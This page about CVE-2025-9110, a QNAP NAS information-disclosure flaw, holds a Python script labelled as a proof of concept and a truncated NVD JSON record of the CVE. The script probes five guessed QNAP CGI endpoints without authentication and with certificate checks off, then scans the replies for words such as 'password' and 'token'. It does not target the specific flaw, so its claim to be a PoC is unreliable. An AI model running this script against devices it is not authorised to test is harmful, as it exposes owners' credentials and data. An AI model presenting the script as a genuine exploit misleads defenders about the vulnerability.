CVE-2025-9110

import requests import sys # CVE-2025-9110 PoC - QNAP Sensitive Information Disclosure # Target: QNAP NAS devices with vulnerable firmware versions def check_vulnerability(target_url): """ Check if target QNAP device is vulnerable to CVE-2025-9110 """ # Common QNAP API endpoints that may expose sensitive information endpoints = [ '/cgi-bin/authLogin.cgi', '/cgi-bin/nasconfig.cgi', '/cgi-bin/sysinfo.cgi', '/cgi-bin/fileManager/appGet.cgi', '/cgi-bin/QSS/qss.cgi' ] headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept': 'application/json, text/html', 'Connection': 'close' } print(f"[*] Scanning target: {target_url}") print(f"[*] CVE-2025-9110 - QNAP Sensitive Information Disclosure\n") for endpoint in endpoints: try: url = target_url.rstrip('/') + endpoint response = requests.get(url, headers=headers, timeout=10, verify=False) print(f"[+] Endpoint: {endpoint}") print(f" Status: {response.status_code}") # Check for sensitive information in response if response.status_code == 200: content = response.text # Look for sensitive patterns sensitive_patterns = ['password', 'token', 'key', 'secret', 'api_key', 'auth'] for pattern in sensitive_patterns: if pattern.lower() in content.lower(): print(f" [!] Potential sensitive data found: '{pattern}'") print(f" Response length: {len(content)} bytes") break else: print(f" Response length: {len(content)} bytes") if len(content) > 100: print(f" Sample: {content[:200]}...") print() except requests.exceptions.Timeout: print(f"[-] Endpoint: {endpoint} - Timeout\n") except requests.exceptions.RequestException as e: print(f"[-] Endpoint: {endpoint} - Error: {str(e)}\n") print("[*] Scan completed. Apply security patches if vulnerable.") if __name__ == '__main__': if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} https://192.168.1.100:8080") sys.exit(1) target = sys.argv[1] check_vulnerability(target)

{"cve": {"id": "CVE-2025-9110", "sourceIdentifier": "[email protected]", "published": "2026-01-02T16:17:05.643", "lastModified": "2026-01-06T13:55:15.713", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An exposure of sensitive system information to an unauthorized control sphere vulnerability has been reported to affect several QNAP operating system versions. The remote attackers can then exploit the vulnerability to read application data.\n\nWe have already fixed the vulnerability in the following versions:\nQTS 5.2.8.3332 build 20251128 and later\nQuTS hero h5.2.8.3321 build 20251117 and later\nQuTS hero h5.3.1.3250 build 20250912 and later"}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-497"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:qnap:qts:5.2.0.2737:build_20240417:*:*:*:*:*:*", "matchCriteriaId": "F4026A4B-7AB4-48EA-971D-88DFDD3F01A7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:qts:5.2.0.2744:build_20240424:*:*:*:*:*:*", "matchCriteriaId": "1F3F99BB-0D68-4D74-92C8-59E24F96C50D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:qts:5.2.0.2782:build_20240601:*:*:*:*:*:*", "matchCriteriaId": "1DE63B4D-8E84-41D3-B1F3-04AE6040242B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:qts:5.2.0.2802:build_20240620:*:*:*:*:*:*", "matchCriteriaId": "75746563-C648-4E55-9126-703F915F8B8A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:qts:5.2.0.2823:build_20240711:*:*:*:*:*:*", "matchCriteriaId": "AF6BA027-A635-4E90-80C8-130B10AB3D23"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:qts:5.2.0.2851:build_20240808:*:*:*:*:*:*", "matchCriteriaId": "5406F242-A215-4B07-809F-7A7CE55ACE71"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:qts:5.2.0.2860:build_20240817:*:*:*:*:*:*", "matchCriteriaId": "FA17778E-B3B1-44DD-B4E9-5AD25A3E804C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:qts:5.2.1.2930:build_20241025:*:*:*:*:*:*", "matchCriteriaId": "E3FC6646-2247-4ED9-9643-CD376674E2E7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:qts:5.2.2.2950:build_20241114:*:*:*:*:*:*", "matchCriteriaId": "62170342-067D-442C-88FB-64A4BEA8AFE4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:qts:5.2.3.3006:build_20250108:*:*:*:*:*:*", "matchCriteriaId": "82464467-E1E6-47E1-BDE5-DDFA52994A47"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:qts:5.2.4.3070:build_20250312:*:*:*:*:*:*", "matchCriteriaId": "75AE902C-0516-4341-9BF0-21D8803E091C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:qts:5.2.4.3079:build_20250321:*:*:*:*:*:*", "matchCriteriaId": "5B005D70-8C91-48D4-B09A-9EBE2E9E5090"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:qts:5.2.4.3092:build_20250403:*:*:*:*:*:*", "matchCriteriaId": "82FE5F89-A0E1-4D1B-A363-0A0D4141F502"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:qts:5.2.5.3 ... (truncated)